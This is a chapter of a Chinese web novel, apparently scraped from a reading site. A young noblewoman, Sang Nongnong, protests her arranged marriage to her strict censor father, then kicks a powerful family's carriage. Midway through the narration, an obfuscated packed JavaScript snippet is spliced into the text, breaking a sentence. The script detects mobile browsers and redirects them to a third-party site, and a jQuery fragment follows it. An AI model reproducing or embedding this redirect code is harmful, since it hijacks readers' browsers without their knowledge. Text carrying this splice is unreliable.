默认冷灰
24号文字
方正启体

1. 第一章

作者:太上不病本书字数:K更新时间:
    “我听说,家族长辈要给你安排婚事。”


    院子里微风徐徐,春色浓郁。


    桑浓浓在家里闷了许多天,今天终于偷跑出来。


    没别的地方想去,便闲来无事找堂姐消遣,两个人坐在院子里喝茶对弈。


    目前一人输一局,两个水平一般差的人下起棋来倒也有特别的乐趣。


    桑浓浓正慎重地思考着下一步棋该落在哪里,听了堂姐的话,举棋不定的手彻底定住,“什么?”


    对面,桑婧雪见了她的反应也颇为意外,“你不知道呀?”


    桑浓浓更茫然,“父亲什么也没有跟我说过啊。”


    看来这事不能说。


    随口提起这个话题的桑婧雪自知走漏了风声,低头端起茶杯装深沉。


    桑浓浓追问:“你说的是真的吗?他们要给我安排婚事?”


    桑婧雪认真看棋盘。


    “堂姐。”桑浓浓叫她。


    还是不理她。


    桑浓浓将手中的棋子扔到棋盘上,“你不说算了,我以后不找你玩了。”


    她说罢就起身要走,桑婧雪连忙拉住她,“哎呀!我、我不是不想告诉你……”


    桑浓浓低头看她。


    “好好,我说。”桑婧雪把她推回去坐下,“那我告诉你了,你不能出卖我。”


    “嗯。”桑浓浓点头。


    “我也是听我爹娘聊天时提的。”桑婧雪纠结道,“虽然人选还没有正式确定下来,不过我三叔父,也就是你爹,好像已经有看中的人了。”


    “是谁?”


    “陈氏三公子。”


    桑浓浓拍桌,“岂有此理。”


    这么大的事她竟然丝毫不知情。


    “就是,岂有此理!”桑婧雪也拍桌附和,随后安抚道,“但是你先别生气,别着急。这件事毕竟还没成定局,你千万别去找你爹……桑浓浓!”


    不等她说完,桑浓浓已经站起身,大步流星地走了,桑婧雪想拦都来不及。


    “你别忘了你还在禁足!”


    话音尚未消散,桑浓浓的身影已经消失在院外,徒留桑婧雪在原地叹气。


    她这张破嘴什么时候才能守住话。


    桑浓浓回家后发现父亲还未回来,又当即乘马车去御史台。


    青萝一路劝她,“小姐,你不能出门,更不能去御史台。你上回因为在玲珑阁和江小姐抢首饰,被大人知道后罚了半个月禁足,到今天为止还差五天呢。”


    尽管被禁足这么久,桑浓浓仍旧不知悔改,“那耳坠明明是我先挑中的,是江大小姐非要和我抢,我有什么错。父亲每次只知道怪我。”


    “大人本来就严厉嘛,其实很多时候小姐你服个软就好了。”


    这话青萝也说过许多次。


    桑浓浓轻哼,明显没听进去。


    “小姐,我们还是回去吧。”青萝苦口婆心,“你这样跑去闹大人一定会生气的。”


    “我不管。”桑浓浓生气道,“他都要把我卖了,还不准我问吗。”


    “我的大小姐,你待会儿见到大人可千万不能这么说话。”


    青萝还想再劝几句,却眼看御史台已经到了。


    宽阔大门外两座比人高的石兽肃穆庄严,马车停稳后,桑浓浓便径直踏入这令人望而却步之地。


    青萝在外面不安地等待着。


    桑浓浓刚进去不久,便有一位年轻的侍御史上前来询问道,“来的是桑大人的千金吧?”


    青萝颔首,“是。”


    “我奉命巡视道路。过一会儿谢氏长公子要来,还劳烦姑娘暂时将马车牵至附近等候。”


    “好,我这就让侍从牵走。”青萝彬彬有礼地回答。


    朝廷官署之地,这点事自是要配合的。


    此时桑浓浓轻车熟路地被带去桑大人办公的别院。


    桑浓浓不是第一次来,这里许多人都认得她,因此没有人阻拦。


    这会儿桑大人正坐于案前处理公务,到了门外,不等下属禀报,桑浓浓就自己闯进去了。


    “我不要嫁人。”


    清脆的声音干净利落,院外春梅恰逢其时从枝头掉了两朵。


    单薄的阳光从长窗斜斜照进来,满地金辉。桑浓浓脚下的影子被拉得修长,像一棵树。


    桑霆头也没抬,专注地写着折子,“你什么时候能学会敲门和请安。”


    桑浓浓刚才一路过来走得急,气都还没喘匀。她缓平呼吸,低头行了个礼。


    “父亲大人。”


    行完礼,桑浓浓重新站直道,“我不要嫁人。”


    “谁让你嫁人了?”


    “我已经知道了,父亲打算安排我的婚事。”


    “谁告诉你的。”桑霆随口猜测,“你堂姐?”


    桑浓浓没回答,她答应了堂姐不出卖她。这是父亲自己猜到的,不能怪她。


    “反正我不嫁人。”


    “由不得你。”对于女儿的反抗,桑霆不为所动,“你的婚事不是你一个人的事,这一点你应该清楚。”


    她清楚,但是不甘心。


    嫁人是最糟糕的事,嫁了人后半辈子一眼就能望到头。凭什么。


    什么世家贵女,没意思透了,连自己的婚事都做不了主。早知如此,还不如当初没有被认回桑家。


    她还这么年轻,怎能就这样葬送自己。


    在这之前,桑浓浓从没想过这件事,每天轻松快乐。这下可好,她有心事了,再也轻松不起来了。


    “堂姐都还没有成亲,怎么就要安排我?”


    桑浓浓心中有气,语气生硬。


    桑霆毫不犹豫沉声道,“你跟你堂姐不一样。”


    桑浓浓知道这句话是什么意思。


    但她还是不服气,“父亲大人要是觉得我碍事,我可以回扬州去。”


    桑浓浓小时候是在扬州养大的,扬州是桑氏故乡,虽然那里的家也严苛,但比起上京城还是自在许多。


    上京毕竟是都城,天子脚下。桑浓浓在都城这几年一直乖巧行事,就怕不小心给父亲还有桑家惹麻烦。


    她觉得自己已经够听话了,可父亲还是动不动就惩罚她。有些事就算不是她的错,回家也还是要挨训。


    总之比起繁盛复杂的都城,桑浓浓还是更喜欢扬州。


    桑霆终于停笔,抬头看她,“你以为都城是什么地方,想走就走。”


    桑大人目如淡墨,这双眼睛看人没有温度,如他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541273|170990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为官做人一般,带着冷冰冰的正直。


    桑浓浓从小就怕父亲,但怕归怕,从没见她真的顺服过。


    桑浓浓赌气偏过脑袋,看着窗外婆娑树影,“不管怎么样,我就是不想嫁人。”


    至少不能这么早。


    “本来也是没定下来的事。”桑霆收拾好案上的公文,站起身整理着衣袍往外走,“你等定下来再跟我叫板也不迟。”


    见父亲走了,桑浓浓犹豫了一下跟上去,“等定下来还来得及吗?你们不能连声招呼都不打就把我卖了。”


    桑浓浓像尾巴一样追着父亲,一路跟到了院外。看她大有一直跟下去的架势,桑霆终于停下来分给她一个眼神。


    他清楚自己这个小女儿的脾气,表面看起来比谁都乖,实则一身的野性。犟起来打都打不服,十头牛也拽不动。


    没打算将此事太早告诉她就是怕她像现在这样。


    “没人要把你卖了。”桑霆端着张冷脸。


    其实桑大人面容端正细致,一打眼就能看得出年轻时风姿过人。只不过年长后浓眉深目愈发威严,不笑时更显得格外冷漠严厉。


    桑浓浓记忆里父亲大多时候都是这个样子,她已经习惯了。


    “桑浓浓,我没记错的话,你还在禁足。谁允许你擅自跑出来的。”


    桑浓浓不吭声。


    “马上给我滚回去。”


    桑浓浓滚了。


    她带着一身怨气从御史台出来,青萝见状迎上去询问,“怎么样小姐,你没惹大人生气吧?大人有没有说什么?”


    “父亲让我滚回去。”桑浓浓平静地叙述。


    青萝放心下来,“还好还好,没有加长禁足期。我们回去吧小姐,下次不要这么冲动了。”


    桑浓浓心不在焉地点头,抬头一看却发现自己家的马车不见了,原本停车的地方也被另一辆陌生华丽的马车鸠占鹊巢。


    这辆马车比她家的大了至少一倍不止,外观虽已经尽量低调,却难掩其精致繁复。连同前边的马儿看起来也格外英俊潇洒,身姿优雅矫健,鬃毛柔光发亮。


    桑浓浓走近细细瞧了两眼,“我们的马车呢?”


    青萝回道,“为了让路,牵到旁边去了。”


    “让路?”桑浓浓蹙眉,“凭什么呀。”


    因为莫名其妙的婚事,她今天心情很不爽快,这会儿像是找到了发泄的出口,为一辆马车生起气来。


    “我的马车好好停在这里,为什么要给别人让路?这条路这么宽阔,哪里停不下,为什么非要把我们的马车牵去别的地方?”


    桑浓浓越说越生气,朝着眼前的车轮踹了一脚。


    “小姐!”青萝慌忙拦住她,“这是谢氏的马车,踢不得。”


    青萝左右张望,还好没有人看见。


    “连一辆马车我都不能欺负。”桑浓浓更生气,又踢了一脚,“可恶!”


    “小姐!”青萝心惊胆战,用力抱住她,“不能踢,被人看见不好!”


    虽然这辆看起来就很贵的马车足够沉稳,被踹了也纹丝不动。但坐在车厢内的人,还是能清楚地感觉到这动静。


    阖目靠在软枕上的男人睁开眼。


    正是谢氏长公子,谢筠。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)